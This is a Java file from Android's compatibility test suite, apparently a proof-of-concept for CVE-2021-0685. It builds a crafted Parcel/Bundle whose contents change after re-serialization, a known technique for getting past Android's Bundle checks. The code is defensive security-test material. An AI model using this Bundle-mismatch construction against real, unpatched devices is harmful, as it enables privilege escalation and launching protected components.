1 /* 2 * Copyright (C) 2021 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts.cve_2021_0685; 18 19 import android.content.IntentFilter; 20 import android.os.Bundle; 21 import android.os.Parcel; 22 import android.text.TextUtils; 23 24 import java.util.Random; 25 26 public class PocAmbiguator { 27 private static final int BUNDLE_MAGIC = 0x4C444E42; 28 private static final int BUNDLE_SKIP = 12; 29 private static final int VAL_NULL = -1; 30 private static final int VAL_BUNDLE = 3; 31 private static final int VAL_PARCELABLE = 4; 32 private static final int VAL_OBJECTARRAY = 17; 33 private static final int VAL_INTARRAY = 18; 34 private static final int SIZE_RANDOM_STR = 6; 35 private static final int TIMER_MILLIS = 30 * 1000; 36 make(Bundle preReSerialize, Bundle postReSerialize)37 public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception { 38 Random random = new Random(1234); 39 int minHash = 0; 40 for (String s : preReSerialize.keySet()) { 41 minHash = Math.min(minHash, s.hashCode()); 42 } 43 for (String s : postReSerialize.keySet()) { 44 minHash = Math.min(minHash, s.hashCode()); 45 } 46 String key; 47 int keyHash; 48 long allowedTime = System.currentTimeMillis() + TIMER_MILLIS; 49 50 do { 51 key = randomString(random); 52 keyHash = key.hashCode(); 53 } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime); 54 55 if (keyHash >= minHash) { 56 return null; 57 } 58 59 if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) { 60 return null; 61 } 62 if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) { 63 return null; 64 } 65 66 Parcel parcel = Parcel.obtain(); 67 68 int sizePosition = parcel.dataPosition(); 69 parcel.writeInt(0); 70 parcel.writeInt(BUNDLE_MAGIC); 71 int startPosition = parcel.dataPosition(); 72 73 parcel.writeInt(preReSerialize.size() + 1); 74 75 parcel.writeString(key); 76 parcel.writeInt(VAL_OBJECTARRAY); 77 parcel.writeInt(3); 78 79 parcel.writeInt(VAL_PARCELABLE); 80 parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo"); 81 new IntentFilter().writeToParcel(parcel, 0); 82 parcel.writeInt(0); 83 parcel.writeInt(0); 84 TextUtils.writeToParcel(null, parcel, 0); 85 parcel.writeInt(0); 86 87 parcel.writeInt(VAL_INTARRAY); 88 parcel.writeInt(6); 89 parcel.writeInt(1); 90 parcel.writeInt(-1); 91 parcel.writeInt(0); 92 parcel.writeInt(VAL_NULL); 93 parcel.writeInt(VAL_INTARRAY); 94 parcel.writeInt(4); 95 96 parcel.writeInt(VAL_BUNDLE); 97 parcel.writeBundle(postReSerialize); 98 writeBundleSkippingHeaders(parcel, preReSerialize); 99 100 int bundleDataSize = parcel.dataPosition() - startPosition; 101 parcel.setDataPosition(sizePosition); 102 parcel.writeInt(bundleDataSize); 103 104 parcel.setDataPosition(0); 105 Bundle bundle = parcel.readBundle(); 106 parcel.recycle(); 107 return bundle; 108 } 109 writeBundleSkippingHeaders(Parcel parcel, Bundle bundle)110 private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) { 111 Parcel skipParcel = Parcel.obtain(); 112 bundle.writeToParcel(skipParcel, 0); 113 parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP); 114 skipParcel.recycle(); 115 } 116 randomString(Random random)117 private static String randomString(Random random) { 118 StringBuilder b = new StringBuilder(); 119 for (int i = 0; i < SIZE_RANDOM_STR; ++i) { 120 b.append((char) (' ' + random.nextInt('~' - ' ' + 1))); 121 } 122 return b.toString(); 123 } 124 padBundle(Bundle bundle, int size, int minHash, Random random)125 private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) { 126 while (bundle.size() < size) { 127 String key; 128 long allowedTime = System.currentTimeMillis() + TIMER_MILLIS; 129 do { 130 key = randomString(random); 131 } while ((key.hashCode() < minHash || bundle.containsKey(key)) 132 && System.currentTimeMillis() < allowedTime); 133 bundle.putString(key, "PADDING"); 134 if (key.hashCode() < minHash) { 135 return false; 136 } 137 } 138 return true; 139 } 140 } 141